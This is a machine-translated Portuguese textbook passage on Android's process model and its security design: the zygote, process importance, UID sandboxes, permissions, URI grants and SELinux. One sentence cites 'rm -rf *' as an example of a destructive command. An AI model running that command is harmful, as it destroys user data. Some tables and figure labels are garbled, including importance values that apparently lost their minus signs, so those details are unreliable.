Esta atividade, quando lançada, simplesmente pega a intenção original, pede ao pacote 
gerenciador para obter uma lista de todas as atividades correspondentes e as exibe para o usuário selecionar 
uma única ação desejada. Quando um é selecionado, ele cria uma nova intenção explícita a partir de 
a intenção original e a atividade selecionada, chamando o sistema para ter aquela nova 
atividade iniciada. 
O Android tem outra semelhança com o shell do Linux: o shell gráfico do Android, 
o inicializador é executado no espaço do usuário como qualquer outro aplicativo. Um iniciador Android 
realiza chamadas no gerenciador de pacotes para encontrar as atividades disponíveis e iniciar 
quando selecionado pelo usuário. 


10.8.10 Modelo de Processo 


O modelo de processo tradicional no Linux é uma bifurcação para criar um novo processo, seguido por um 
executivo para inicializar esse processo com o código a ser executado e então iniciar seu processo. 
execução. O shell é responsável por conduzir essa execução, bifurcando e executando processos conforme 
necessário para executar comandos do shell. Quando esses comandos saem, o 
processo é removido pelo Linux. 

O Android usa processos de maneira um pouco diferente. Como discutido no anterior 
seção sobre aplicativos, o gerenciador de atividades é a parte do Android responsável por 
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gerenciar aplicativos em execução. Ele coordena o lançamento de novos processos de aplicativos, 
determina o que será executado neles e quando eles não serão mais necessários. 


Iniciando Processos 


Para lançar novos processos, o gestor da atividade deve comunicar-se com o zigoto. Quando o 
gerenciador de atividades é iniciado pela primeira vez, ele cria um soquete dedicado com zigoto, por 
meio do qual envia um comando quando precisa iniciar um processo. 

O comando descreve principalmente o sandbox a ser criado: o UID que o novo processo deve executar 
(que será discutido mais tarde na segurança) e quaisquer outras restrições de segurança que serão 
aplicadas a ele. Portanto, o Zygote deve ser executado como root: quando bifurca, ele faz a configuração 
apropriada para a sandbox em que será executado, finalmente eliminando os privilégios de root e 
alterando o processo para a sandbox desejada. 

Lembre-se de nossa discussão anterior sobre aplicativos Android que o gerenciador de atividades 
mantém informações dinâmicas sobre a execução de atividades (na Figura 10-52), serviços (Figura 
10-57), transmissões (para receptores como na Figura 10-60) e provedores de conteúdo (Fig. 10-61). 
Ele usa essas informações para orientar a criação e o gerenciamento de processos de aplicativos. Por 
exemplo, quando o inicializador de aplicativos chama o sistema com uma nova intenção de iniciar uma 
atividade, como vimos na Figura 10.52, é o gerenciador de atividades o responsável por fazer com que 
esse novo aplicativo seja executado. 

O fluxo para iniciar uma atividade em um novo processo é mostrado na Figura 10.62. O 
os detalhes de cada etapa da ilustração são os seguintes: 


1. Algum processo existente (como o inicializador de aplicativos) chama o gerenciador de 
atividades com a intenção de descrever a nova atividade que gostaria de ter iniciado. 


2. O gerenciador de atividades pede ao gerenciador de pacotes para resolver a intenção de 
um componente explícito. 


3. O gerenciador de atividades determina que o processo do aplicativo ainda não está em 
execução e então solicita ao zigoto um novo processo com o UID apropriado. 


4. O Zygote executa uma bifurcação, criando um novo processo que é um clone de si mesmo, 
descarta privilégios e configura sua sandbox adequadamente e conclui a inicialização 
do ART nesse processo para que o tempo de execução Java esteja em execução 


completa. Por exemplo, ele deve iniciar threads como o coletor de lixo depois de 
bifurcar. 


5. O novo processo, agora um clone do zigoto com o ambiente Java totalmente instalado e 
funcionando, chama de volta o gerenciador de atividades, perguntando “O que devo 
fazer?” 


6. O gerenciador de atividades retorna todas as informações sobre o aplicativo 
está começando, como onde encontrar seu código. 
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7. O novo processo carrega o código do aplicativo que está sendo executado. 


8. O gerenciador de atividades envia para o novo processo todas as operações pendentes, neste caso 


"iniciar atividade X." 


9. Novo processo recebe o comando para iniciar uma atividade, instancia o 


classe Java apropriada e a executa. 


Processo System server Processo de aplicação 


PackageManagerService 


Instância de atividade 


2 Regolver Intenção 


Código do aplicativo 


Instancie esta Classe 


VEeIs: 


16 


ActivityManagerService Carregue o código deste aplicativo Lp 


Estrutura Android 


Crie um novo process 


Processo zigoto 


Figura 10-62. Etapas para iniciar um novo processo de inscrição. 


Observe que quando iniciamos esta atividade, o processo da aplicação já pode estar em execução. Nesse caso, 
o gerenciador de atividades simplesmente pulará para o final, enviando um novo comando ao processo informando-o 
para instanciar e executar o componente apropriado. Isso pode resultar em uma instância de atividade adicional em 


execução na aplicação, se apropriado, como vimos anteriormente na Figura 10.56. 


Ciclo de vida do processo 


O gerente de atividades também é responsável por determinar quando os processos não são mais necessários. 
Ele acompanha todas as atividades, receptores, serviços e provedores de conteúdo em execução em um processo; a 


partir disso, pode-se determinar o quão importante (ou não) o processo é. 


Lembre-se de que o eliminador de falta de memória do Android no kernel usa a importância de um processo 


dada ao Imkd como uma ordem estrita para determinar quais processos ele 
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deveria matar primeiro. O gerente de atividades é responsável por definir cada processo 
importância apropriadamente com base no estado desse processo, classificando-os 

nas principais categorias de uso. A Figura 10-63 mostra as principais categorias, com o 
categoria mais importante primeiro. A última coluna mostra um valor de importância típico 
que é atribuído a processos deste tipo. 


Categoria Descrição Importância 
SISTEMA O sistema e os processos daemon 900 
PERSISTENTE Processos de aplicação sempre em execução 800 
FOREGROUND Atualmente interagindo com o usuário 0 
VISÍVEL Visível para o usuário 100-199 
PERCEPTÍVEL Algo que o usuário está ciente 200 
SERVIÇO Executando serviços em segundo plano 500 
LAR O processo inicial/iniciador (quando não está em primeiro plano) 600 
EM CACHORRO Processos não em uso 950-999 


Figura 10-63. Categorias de importância do processo. 


Agora, quando a RAM está baixa, o sistema configurou os processos para 
que o assassino por falta de memória primeiro matará os processos em cache para tentar recuperar 
RAM necessária suficiente, seguida de casa, serviço e assim por diante. Dentro de um determinado 
nível de importância, ele eliminará processos com maior consumo de RAM antes de processos menores 
uns. 

Vimos agora como o Android decide quando iniciar processos e como categoriza esses processos em 
importância. Agora precisamos decidir quando encerrar os processos, certo? Ou realmente precisamos fazer 
mais alguma coisa aqui? A resposta é, 
nós não. No Android, os processos do aplicativo nunca são encerrados de maneira limpa. O sistema apenas 
deixa processos desnecessários por aí, contando com o kernel para colhê-los conforme necessário. 

Os processos armazenados em cache, de muitas maneiras, substituem o espaço de troca que o Android 
falta. Como a RAM é necessária em outros lugares, os processos em cache podem ser eliminados e seus 
RAM recuperada rapidamente. Se um aplicativo precisar ser executado novamente posteriormente, um novo processo 
pode ser criado, restaurando qualquer estado anterior necessário para retorná-lo à forma como o usuário 
deixei. Nos bastidores, o sistema operacional está iniciando, eliminando e relançando processos conforme 
necessário, para que as operações importantes em primeiro plano continuem em execução. 


e os processos em cache são mantidos enquanto sua RAM não for melhor 
usado em outro lugar. 


Dependências de Processo 


Agora temos uma boa visão geral de como os processos individuais do Android são gerenciados. 
Porém, há uma complicação adicional nisso: dependências entre 


processos. Os processos podem interagir com outros processos e isso deve ser gerenciado. 
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Como exemplo, considere nosso aplicativo de câmera anterior que contém as fotos que 
foram tiradas. Estas imagens não fazem parte do sistema operacional; eles são implementados 
por um provedor de conteúdo no aplicativo da câmera. Outros aplicativos podem querer acessar 
os dados da imagem, tornando-se clientes do aplicativo da câmera. 

As dependências entre processos podem acontecer tanto com provedores de conteúdo 
(através do simples acesso ao provedor) quanto com serviços (por ligação a um serviço). Em 
ambos os casos, o sistema operacional deve acompanhar essas dependências e gerenciar os 
processos de forma adequada. 

As dependências do processo impactam duas coisas principais: quando os processos serão 
criados (e os componentes criados dentro deles) e qual será a importância do processo. Lembre- 
se de que a importância de um processo é a do componente mais importante dele. A sua 
importância é também a do processo mais importante que dela depende. 


Por exemplo, no caso do aplicativo de câmera, seu processo e, portanto, seu provedor de 
conteúdo não estão normalmente em execução. Ele será criado quando algum outro processo 
precisar acessar esse provedor de conteúdo. Enquanto o provedor de conteúdo da câmera estiver 
sendo acessado, o processo da câmera será considerado pelo menos tão importante quanto o 
processo que a utiliza. 

Para calcular a importância final de cada processo, o sistema precisa manter um gráfico de 
dependência entre esses processos. Cada processo possui uma lista de todos os serviços e 
provedores de conteúdo atualmente em execução nele. Cada provedor de serviço e conteúdo 
possui uma lista de cada processo que o utiliza. (Essas listas são mantidas em registros dentro 
do gerenciador de atividades, portanto não é possível que os aplicativos mintam sobre elas.) 
Percorrer o gráfico de dependência de um processo envolve percorrer todos os seus provedores 
de conteúdo e serviços e os processos que os utilizam. 

A Figura 10-64 ilustra um estado típico em que os processos podem estar, levando em 
consideração as dependências entre eles. Parte deste exemplo contém duas dependências, onde 
um provedor de conteúdo em um aplicativo de câmera está sendo usado por um aplicativo de e- 
mail separado para adicionar um anexo de imagem. (Uma ilustração desta situação aparece mais 
adiante na Figura 10.70 e é discutida com mais detalhes lá.) 

Nesta figura, após os processos regulares do sistema, é primeiro o aplicativo de email em 
primeiro plano atual. O aplicativo de e-mail está fazendo uso do provedor de conteúdo da 
câmera, elevando o processo da câmera à mesma importância que o aplicativo de e-mail. A 
seguir na figura está uma situação semelhante, um aplicativo de música está reproduzindo 
música em segundo plano com um serviço e, ao fazer isso, depende do processo de mídia para 
acessar a mídia musical do usuário, o que da mesma forma eleva o processo de mídia até o 
mesma importância que o aplicativo de música. 

Considere o que acontece se o estado da Figura 10.64 mudar de modo que o aplicativo de 
e-mail termine de carregar o anexo e não use mais o provedor de conteúdo da câmera. A Figura 
10-65 ilustra como o estado do processo mudará. Observe que o aplicativo da câmera não é mais 
necessário, portanto ele saiu da importância do primeiro plano e caiu para o nível de cache. 
Armazenar a câmera em cache também empurrou o aplicativo de mapas antigo para um nível 
inferior na lista de LRU em cache. 


Machine Translated by Google 


836 ESTUDO DE CASO 1: UNIX, LINUX E ANDROID INDIVÍDUO. 10 

Processo Estado Importância 
telefone Parte central do sistema operacional SISTEMA 

do sistema Sempre executando para pilha de telefonia PERSISTENTE 
e-mail Aplicativo atual em primeiro plano PRIMEIRO PLANO 
Câmera Em uso por email para carregar anexo PRIMEIRO PLANO 
música Executando serviço em segundo plano tocando música PERCEPTÍVEL 
minie Em uso pelo aplicativo de música para acessar a música do usuário PERCEPTÍVEL 

download Baixando um arquivo para o inicializador do SERVIÇO 

usuário O inicializador de aplicativos não está em uso no momento LAR 

mapas Aplicativo de mapeamento usado anteriormente EM CACHORRO 


Figura 10-64. Estado típico de importância do processo. 


Processo Estado Importância 
e-mail do Parte central do sistema operacional SISTEMA 

telefone Sempre executando para pilha de telefonia PERSISTENTE 

do sistema Aplicativo atual em primeiro plano PRIMEIRO PLANO 
música Executando serviço em segundo plano tocando música PERCEPTÍVEL 


ção 


Em uso pelo aplicativo de música para acessar a música do usuário PERCEPTÍVEL 


download Baixqndo um arquivo para o inicializador do SERVIÇO 
usuário O inicializador de aplicativos não está em uso no momento LAR 
Câmera Anteriormente usado por e-mail EM CACHORRO 
mapas Aplicativo de mapeamento usado anteriormente Cacheado+1 


Figura 10-65. Estado do processo após o e-mail parar de usar a câmera. 


Esses dois exemplos dão uma ilustração final da importância dos processos armazenados em 
cache. Se o aplicativo de e-mail precisar usar novamente o provedor de câmera, o processo do provedor 
normalmente já será deixado como um processo em cache. Usá-lo novamente é 
então é só uma questão de colocar o processo de volta em primeiro plano e reconectar 
com o provedor de conteúdo que já está lá com seu banco de dados inicializado. 


10.8.11 Segurança e Privacidade 


Quando o Android estava sendo projetado, as proteções de segurança que os usuários tinham contra 
suas aplicações era uma área de expectativas em rápida evolução que precisava ser 
abordado. Desde então, a privacidade tornou-se uma área cada vez mais importante que impulsiona 
evolução significativa na forma como o Android gerencia aplicativos. Veremos agora 
esses dois tópicos, concentrando-se primeiro nos vários aspectos da segurança antes de examinar 
o novo mundo da privacidade. 
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Sandboxes de aplicativos 


Tradicionalmente, em sistemas operacionais, os aplicativos são vistos como código em execução como 
o usuário, em nome do usuário. Este comportamento foi herdado do comando 
linha, onde você executa o comando Is e espera que ele seja executado como sua identidade (UID), 
com os mesmos direitos de acesso que você tem no sistema. Da mesma forma, quando você 
usar uma interface gráfica de usuário para iniciar um jogo que você deseja jogar, esse jogo será 
efetivamente executado como sua identidade, com acesso aos seus arquivos e muitas outras coisas que 
pode realmente não precisar. 
Contudo, não é assim que usamos principalmente os computadores hoje. Executamos aplicativos que 
adquirimos de fontes terceirizadas menos confiáveis, e esses aplicativos podem 
têm funcionalidade abrangente, fazendo uma ampla variedade de coisas sobre as quais temos pouco controle. 
Há uma desconexão entre o modelo de aplicação suportado pelo 
sistema operacional e aquele realmente em uso. Isto pode ser mitigado por estratégias 
como distinguir entre privilégios de usuário normais e "admin" e emitir um 
avisando na primeira vez que um aplicativo é executado, mas eles realmente não abordam o 
desconexão subjacente. 
Em outras palavras, os sistemas operacionais tradicionais são muito bons para proteger os usuários 
de outros usuários, mas não para proteger os usuários deles próprios e de seus aplicativos. Todos os 
programas são executados com o poder do usuário e, se algum deles se comportar mal, 
pode causar os mesmos danos que o usuário (e às vezes mais). Pense nisso: 
quanto dano você poderia causar, digamos, em um ambiente UNIX? Você poderia vazar tudo 
informações acessíveis ao usuário. Você poderia executar rm —rf * para obter uma 
diretório inicial bonito e vazio. E se o programa não for apenas cheio de bugs, mas também malicioso, ele 
poderá criptografar todos os seus arquivos para obter resgate. Executando tudo com "o 
Seu poder" é perigoso! 
Nos dispositivos móveis da época em que o Android estava sendo desenvolvido, esse problema de 
proteger os usuários de seus aplicativos era normalmente abordado pela introdução 
de um gatekeeper para o dispositivo: uma ou mais entidades confiáveis (como a operadora de telecomunicações 
ou o fabricante do dispositivo) que são responsáveis por determinar se um aplicativo é seguro antes de permitir 
sua instalação. Tal 
abordagem foi contrária a um objetivo principal do Android, criar uma plataforma aberta onde 
todos podiam competir igualmente e não havia uma entidade única controlando o que 
o usuário poderia fazer em seu dispositivo, então outra solução era necessária. 
O Android aborda o problema com uma premissa central: que um aplicativo é na verdade o desenvolvedor 
desse aplicativo sendo executado como convidado no dispositivo do usuário. Por isso, 
um aplicativo não é confiável para nada confidencial que não seja explicitamente aprovado 
pelo usuário. 
Na implementação do Android, esta filosofia é expressada de forma bastante direta 
através de IDs de usuário. Quando um aplicativo Android é instalado, um novo Linux exclusivo 
o ID do usuário (ou UID) é criado para ele, e todo o seu código é executado como esse “usuário”. Usuário Linux 
Os IDs criam assim uma sandbox para cada aplicação, com sua própria área isolada do 


sistema de arquivos, assim como criam sandboxes para usuários em um sistema desktop. Em outro 
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palavras, o Android usa um recurso central existente no Linux, mas de uma forma nova. O 
o resultado é um melhor isolamento. 

A segurança dos aplicativos no Android gira em torno de UIDs. No Linux, cada processo 
é executado como um UID específico, e o Android usa o UID para identificar e proteger a segurança 
barreiras. A única maneira de interagir entre processos é através de algum mecanismo IPC, que geralmente traz 
consigo informações suficientes para identificar o UID do 
chamador. O Binder IPC inclui explicitamente essas informações em todas as transações entregues nos 
processos, para que um destinatário do IPC possa facilmente solicitar o UID do 
chamador. 

O Android predefine vários UIDs padrão para as partes de nível inferior do 
sistema, mas a maioria dos aplicativos recebe um UID dinamicamente, na primeira inicialização ou 
tempo de instalação, a partir de uma variedade de "UIDs de aplicativos". A Figura 10-66 ilustra alguns 
mapeamentos comuns de valores UID para seus significados. UIDs abaixo de 10.000 são corrigidos 
atribuições dentro do sistema para hardware dedicado ou outras partes específicas do 
implementação; alguns valores típicos nesta faixa são mostrados aqui. Na faixa 
10000-19999 são UIDs atribuídos dinamicamente aos aplicativos pelo gerenciador de pacotes quando ele os 
instala; isso significa que no máximo 10.000 aplicativos podem ser instalados 
no sistema. Observe também o intervalo começando em 100.000, que é usado para implementar 
um modelo multiusuário tradicional para Android: um aplicativo que recebe UID 
10002 como sua identidade seria identificada como 110002 ao executar como segundo usuário. 


UID Propósito 
0 Raiz 
1000 Sistema central (processo do- servidor do sistema) 
1001 Serviços de telefonia 
1013 Processos de mídia de baixo nível 
2000 Acesso ao shell da linha de comando 
10.000-19.999 UIDs de aplicativos atribuídos dinamicamente 
100.000 Início de usuários secundários 


Figura 10-66. Atribuições comuns de UID no Android. 


Quando um UID é atribuído pela primeira vez a um aplicativo, um novo diretório de armazenamento é criado 
para ele, com os arquivos pertencentes ao seu UID. O aplicativo obtém acesso total ao seu 
arquivos privados lá, mas não pode acessar os arquivos de outros aplicativos, nem o 
outros aplicativos tocam em seus próprios arquivos. Isso faz com que os provedores de conteúdo, conforme discutido 
na seção anterior sobre aplicações, especialmente importantes, pois são um dos 
poucos mecanismos que podem transferir dados entre aplicativos. 

Mesmo o próprio sistema, rodando como UID 1000, não pode mexer nos arquivos dos aplicativos. É por 
isso que o daemon installd existe: ele roda com privilégios especiais para ser 
capaz de acessar e criar arquivos e diretórios para outros aplicativos. Existe um 
instalação de API muito restrita fornecida ao gerenciador de pacotes para ele criar e 
gerenciar os diretórios de dados dos aplicativos conforme necessário. 
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Permissões 


Em seu estado básico, os sandboxes de aplicativos do Android devem proibir qualquer 
interações entre aplicativos que podem violar a segurança entre eles. Isto pode ser 
para robustez (evitando que um aplicativo trave outro aplicativo), mas na maioria das vezes é 
sobre o acesso à informação. 

Considere nosso aplicativo de câmera. Quando o usuário tira uma foto, a câmera 
o aplicativo armazena essa imagem em seu espaço de dados privado. Nenhum outro aplicativo pode 
acessar esses dados, que é o que queremos, já que as fotos podem ser sensíveis 
dados ao usuário. 

Depois que o usuário tirar uma foto, ele pode enviá-la por e-mail para um amigo. E-mail 
é um aplicativo separado, em sua própria sandbox, sem acesso às imagens do 
aplicativo de câmera. Como o aplicativo de e-mail pode obter acesso às fotos no 
sandbox do aplicativo da câmera? 

A forma mais conhecida de controle de acesso no Android são as permissões de aplicativos. 
Permissões são habilidades específicas bem definidas que podem ser concedidas a um aplicativo 
no momento da instalação. O aplicativo lista as permissões necessárias em seu manifesto e 
dependendo do tipo de permissão que será concedida no momento da instalação (se 
permitido) ou pode pedir ao usuário que conceda permissão durante a execução. 

A Figura 10-67 mostra como nosso aplicativo de e-mail poderia fazer uso de permissões 
para acessar fotos no aplicativo da câmera. Neste caso, o aplicativo da câmera 
associou a permissão READ PICTURES às suas fotos, dizendo que qualquer 
aplicativo que detém essa permissão pode acessar seus dados de imagem. O aplicativo de email declara 
em seu manifesto que requer essa permissão. O aplicativo de e-mail 
agora pode acessar um URI pertencente à câmera, como content://pics/1; ao receber a solicitação desse 
URI, o provedor de conteúdo do aplicativo de câmera solicita ao pacote 
gerente se o chamador possui a permissão necessária. Se isso acontecer, a chamada será bem-sucedida 
e os dados apropriados serão retornados ao aplicativo. 

As permissões não estão vinculadas a provedores de conteúdo; qualquer IPC no sistema pode ser 
protegido por uma permissão perguntando ao gerenciador de pacotes se o chamador possui o 
permissão necessária. Lembre-se de que o sandbox de aplicativos é baseado em processos e 
UIDs, portanto, uma barreira de segurança sempre acontece no limite do processo, e as permissões 
eles próprios estão associados a UIDs. Diante disso, uma verificação de permissão pode ser realizada 
recuperando o UID associado ao IPC recebido e perguntando ao 
gerenciador de pacotes se esse UID recebeu a permissão correspondente. Por exemplo, as permissões 
para acessar a localização do usuário são impostas por 
o serviço de gerenciamento de localização do sistema quando os aplicativos o acessam. 

A Figura 10.68 mostra o que acontece quando um aplicativo não possui a permissão necessária para 
uma operação que está executando. Aqui, o aplicativo do navegador está tentando acessar diretamente 
as fotos do usuário, mas a única permissão que ele possui é para 
operações de rede pela Internet. Neste caso, o PicturesProvider é informado por 
informa ao gerenciador de pacotes que o processo de chamada não possui a permissão READ PIC _ 
TURES necessária e, como resultado, lança uma SecurityException de volta para ele. 
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Figura 10-67. Solicitando e usando uma permissão. 
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Figura 10-68. Acessando dados sem permissão. 


As permissões fornecem acesso amplo e irrestrito a classes de operações e 
dados. Eles funcionam bem quando a funcionalidade de um aplicativo está centrada 
nessas operações, como nosso aplicativo de e-mail que exige permissão da INTERNET para 
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enviar e receber e-mail. No entanto, faz sentido que o aplicativo de e-mail tenha a permissão READ 
PICTURES ? Não há nada em um aplicativo de e-mail que esteja diretamente relacionado à leitura das 
fotos do usuário e não há razão para um aplicativo de e-mail ter acesso a todas essas imagens. 


Há outro problema com esse uso de permissões, que podemos ver voltando à Figura 10.55. Lembre- 
se de como podemos iniciar o Com poseActivity do aplicativo de e-mail para compartilhar uma imagem 
do aplicativo de câmera. O aplicativo de e-mail recebe um URI dos dados para compartilhar, mas não 
sabe de onde eles vieram - na figura aqui ele vem da câmera, mas qualquer outro aplicativo poderia usar 
isso para permitir que o usuário enviasse seus dados por e-mail, de arquivos de áudio a documentos de 
processamento de texto. O aplicativo de e-mail só precisa ler esse URI como um fluxo de bytes para 
adicioná-lo como anexo. 

No entanto, com as permissões, ele também teria que especificar antecipadamente as permissões para 
todos os dados de todos os aplicativos dos quais pode ser solicitado o envio de um e-mail. 

Temos dois problemas para resolver. Primeiro, não queremos dar aos aplicativos acesso a grandes 
quantidades de dados dos quais eles realmente não precisam. Em segundo lugar, é necessário que lhes 
seja dado acesso a quaisquer fontes de dados, mesmo aquelas sobre as quais não tenham conhecimento 
a priori. 

Há uma observação importante a fazer: o ato de enviar uma imagem por e-mail é, na verdade, uma 
interação do usuário em que o usuário expressou uma intenção clara de usar uma imagem específica 
com um aplicativo específico. Contanto que o sistema operacional esteja envolvido na interação, ele 
pode usar isso para identificar um buraco específico a ser aberto nas caixas de areia entre os dois 
aplicativos, permitindo a passagem desses dados. 

O Android oferece suporte a esse tipo de acesso implícito e seguro aos dados por meio de intenções 
e provedores de conteúdo. A Figura 10.69 ilustra como essa situação funciona em nosso exemplo de 
envio de imagens por e-mail. O aplicativo da câmera no canto inferior esquerdo criou uma intenção 
solicitando o compartilhamento de uma de suas imagens, content://pics/1. Além de iniciar o aplicativo de 
composição de email como vimos antes, isso também adiciona uma entrada a uma lista de “URIs 
concedidos”, observando que o novo ComposeActivity agora tem acesso a esse URI. 

Agora, quando o ComposeActivity tenta abrir e ler os dados do URI que Ihe foi fornecido, o PicturesProvider 
do aplicativo de câmera que possui os dados por trás do URI pode perguntar ao gerenciador de atividades 
se o aplicativo de e-mail chamador tem acesso aos dados, o que ele faz, então a imagem é devolvida. 


Esse controle de acesso URI refinado também pode operar na outra direção. Um exemplo aqui é 
outra ação de intenção, android.intent.action.GET CONTENT, que um aplicativo pode usar para solicitar 
ao usuário que escolha alguns dados e os devolva. Isso seria usado em nosso aplicativo de e-mail, por 
exemplo, para operar ao contrário: o usuário, enquanto estiver no aplicativo de e-mail, pode solicitar a 
adição de um anexo, o que iniciará uma atividade no aplicativo de câmera para que ele selecione um. 


A Figura 10-70 mostra esse novo fluxo. É quase idêntico à Figura 10.69, a única diferença está na 
forma como as atividades dos dois aplicativos são compostas, com o aplicativo de e-mail iniciando a 
atividade apropriada de seleção de imagens no aplicativo da câmera. Depois que uma imagem é 
selecionada, seu URI é retornado ao aplicativo de e-mail e, nesse ponto, nossa concessão de URI é 
registrada pelo gerenciador de atividades. 
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Figura 10-69. Compartilhando uma imagem usando um provedor de conteúdo. 


Essa abordagem é extremamente poderosa, pois permite que o sistema mantenha um 
controle rígido sobre os dados por aplicação, concedendo acesso específico aos dados quando 
necessário, sem que o usuário precise saber que isso está acontecendo. Muitas outras interações 
do usuário também podem se beneficiar disso. Uma opção óbvia é arrastar e soltar para criar 
uma concessão de URI semelhante, mas o Android também aproveita outras informações, como 
o foco atual da janela, para determinar os tipos de interações que os aplicativos podem ter. 

Um último método de segurança comum que o Android usa são interfaces de usuário 
explícitas para permitir/remover tipos específicos de acesso. Nessa abordagem, há alguma 
maneira de um aplicativo indicar que pode, opcionalmente, fornecer algumas funcionalidades e 
uma interface de usuário confiável fornecida pelo sistema que fornece controle sobre esse acesso. 

Um exemplo típico dessa abordagem é a arquitetura de método de entrada do Android. 

Um método de entrada é um serviço específico fornecido por um aplicativo de terceiros que 
permite ao usuário fornecer entrada para aplicativos, normalmente na forma de um teclado na 
tela. Esta é uma interação altamente sensível no sistema, uma vez que muitos dados pessoais 
passarão pelo método de entrada da aplicação, incluindo senhas digitadas pelo usuário. 


Um aplicativo indica que pode ser um método de entrada declarando um serviço em seu 
manifesto com um filtro de intenção que corresponde à ação do protocolo do método de entrada 
do sistema. No entanto, isso não permite automaticamente que ele se torne um método de 
entrada e, a menos que algo mais aconteça, a sandbox do aplicativo não terá capacidade de 
operar como tal. 
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Figura 10-70. Adicionar um anexo de imagem usando um provedor de conteúdo. 


As configurações do sistema Android incluem uma interface de usuário para selecionar métodos de entrada. 
Esta interface mostra todos os métodos de entrada disponíveis dos aplicativos atualmente instalados e se eles 
estão ou não habilitados. Se os usuários quiserem usar um novo método de entrada 
depois de instalarem o aplicativo, eles devem acessar a interface de configurações do sistema e ativá-lo. Ao 
fazer isso, o sistema também pode informar ao usuário o 
tipos de coisas que isso permitirá que o aplicativo faça. 

Mesmo quando um aplicativo é ativado como método de entrada, o Android usa técnicas de controle de 
acesso refinadas para limitar seu impacto. Por exemplo, apenas o aplicativo que está sendo usado como método 
de entrada atual pode realmente ter qualquer valor especial. 
interação; se o usuário ativou vários métodos de entrada (como um teclado virtual 
e entrada de voz), apenas aquele que está atualmente em uso ativo terá esses recursos 
disponível em sua sandbox. Mesmo o método de entrada atual é restrito no que pode 
fazer, por meio de políticas adicionais, como permitir apenas que ele interaja com a janela 


que atualmente tem foco de entrada. 


SELinux e defesa em profundidade 


Uma arquitetura de segurança robusta é importante: aquela em que o acesso aos dados seja minimizado, 
a arquitetura seja fácil de entender, de modo que seja menos provável que bugs sejam detectados. 
introduzidas durante o desenvolvimento e alterações que violam a segurança pretendida 
garantias são fáceis de identificar. Mesmo no melhor design, entretanto, os bugs sempre aparecerão. 
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acontecer, resultando em problemas de segurança significativos que são enviados e precisam ser 
fixo. É, portanto, também importante adoptar uma estratégia de “defesa em profundidade” para minimizar 
o impacto de um único bug de segurança. 

O sandboxing constitui a base da arquitetura de segurança do Android e 
abordagem de defesa em profundidade. Por exemplo, o Android fornece um tipo especial de UID 
sandbox chamado de "serviço isolado". Este é um serviço executado em seu próprio processo dedicado, com 
um UID transitório que não está associado a nenhum recurso: não 
acesso a quaisquer permissões ou à maioria dos serviços do sistema ou sistema de arquivos de aplicativos, etc. 
recurso é usado para renderizar coisas como páginas da Web e arquivos PDF, conteúdo que é 
extremamente complicado de manusear e, portanto, muitas vezes apresenta bugs que permitem tal conteúdo, 
recuperado de uma fonte não confiável, para fornecer uma exploração através de bugs no conteúdo 
manipulação de código. 

Como as capacidades de um processo isolado são minimizadas, as explorações nesse 
o conteúdo geralmente precisa encontrar uma falha de segurança na sandbox isolada que permite 
para acessar a sandbox do aplicativo e, em seguida, um buraco na sandbox do aplicativo para explorar o 
próprio sistema. 

Essa abordagem restrita de sandbox é usada em todo o Android. De particular 
nota é o sistema de mídia, que inicialmente sofreu um número significativo de explorações 
(dado o nome "stagefright" do nome da biblioteca de mídia principal). Gosto da Web 
páginas e PDFs, os codecs de mídia lidam com formatos complicados de dados que chegam 
de fontes não confiáveis, tornando-os prontos para exploração. A solução aqui foi 
da mesma forma, isola esses codecs e outras partes do sistema de mídia em sandboxes altamente restritas 
que apenas fornecem a eles os recursos necessários para sua operação 
e nada mais. 

Sandboxes têm limitações: sua funcionalidade, embora limitada, ainda é bastante 
significativo. Vulnerabilidades nas coisas com as quais eles interagem (especialmente no kernel) 
pode permitir que eles contornem a maior parte da segurança do sistema. No Android 5.0, SELinux 
foi introduzido como uma camada de segurança adicional na plataforma que funciona em conjunto com seus 
sandboxes baseados em UID existentes, além de fornecer sandboxing mais refinado para componentes do 
sistema. 

Os mecanismos de segurança de que falamos até agora usam um modelo chamado controle de acesso 
discricionário (DAC), ou seja, a entidade que cria um recurso (como um 
arquivo) tem o poder de determinar quem tem acesso a ele. O SELinux, por outro lado, fornece controle de 
acesso obrigatório (MAC), o que significa que todo acesso aos recursos é definido 
estaticamente e separadamente do código. No SELinux, uma entidade inicia sem acesso 
a qualquer coisa, e as regras são escritas para especificar explicitamente o que é permitido fazer. 

O SELinux por si só não pode ser usado para implementar o modelo de segurança do Android, 
porque não é flexível o suficiente: não permitiria que um aplicativo tivesse acesso 
para um dado de outro aplicativo somente quando o usuário disser que isso é permitido. 
Em vez disso, o SELinux fornece um mecanismo de segurança paralelo com diferentes capacidades 
e benefícios. Embora algumas restrições de segurança sejam aplicadas apenas através de UID ou 
SELinux, sempre que possível, o Android utilizará ambos os mecanismos para fornecer defesa profunda contra 
restrições de segurança. 
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Como exemplo do que o SELinux oferece, considere um bug simples em que algum código do 
sistema grava um arquivo e acidentalmente o torna legível para todos, como um arquivo que monitora 
as permissões concedidas aos aplicativos. No modelo de segurança baseado em UID, esse erro 
permite que qualquer sandbox do aplicativo modifique esse arquivo, como alterá-lo para dizer que 
ele tem uma permissão que o usuário realmente não concedeu. 

Com o SELinux ativado, no entanto, essa exploração é derrotada: as regras do SELinux do 
Android dizem que nenhuma sandbox de aplicativo pode ler ou gravar um arquivo de sistema, 
portanto a exploração ainda será interrompida. Cada sandbox UID também possui um contexto 
SELinux associado que define as regras para o que é permitido fazer, escrito para ser o mínimo 


possível. Por exemplo, as regras para a sandbox de um serviço isolado dizem que ele não tem 
acesso de leitura/gravação aos arquivos de dados. 


Mais informações sobre como o Android usa o SELinux podem ser encontradas online 
em https:// source.android.com/ security/selinux. 


Privacidade e permissões 


A privacidade é uma questão mais recente, mas cada vez mais importante, que os sistemas 
operacionais devem abordar. Onde a segurança pode ser descrita como abordando o objetivo de 
que "nada colocado no dispositivo pode prejudicá-lo ou ao usuário" (como prejudicar sua operação, 
forçar o usuário a pagar para acessá-lo, forçar anúncios aos usuários, permitir outros aplicativos 
sejam instalados que não desejam, etc.), o objetivo da privacidade é ajudar os usuários a terem 
certeza de que “as informações sobre eles estão sendo protegidas e usadas apenas para o que desejam”. 

A segurança é mais notável para o usuário na sua ausência: se a segurança do dispositivo for 
boa, ele sempre se comporta conforme o esperado e o usuário nunca terá uma experiência ruim com 
malware. A privacidade, por outro lado, envolve uma interação mais direta entre o sistema 
operacional e os usuários, porque exige que eles tenham confiança de que a plataforma está 
cuidando de seus dados, permite-lhes tomar as decisões que desejam sobre como seus dados são 
armazenados. protegido e dá alguma visibilidade sobre o que acontece com seus dados. 


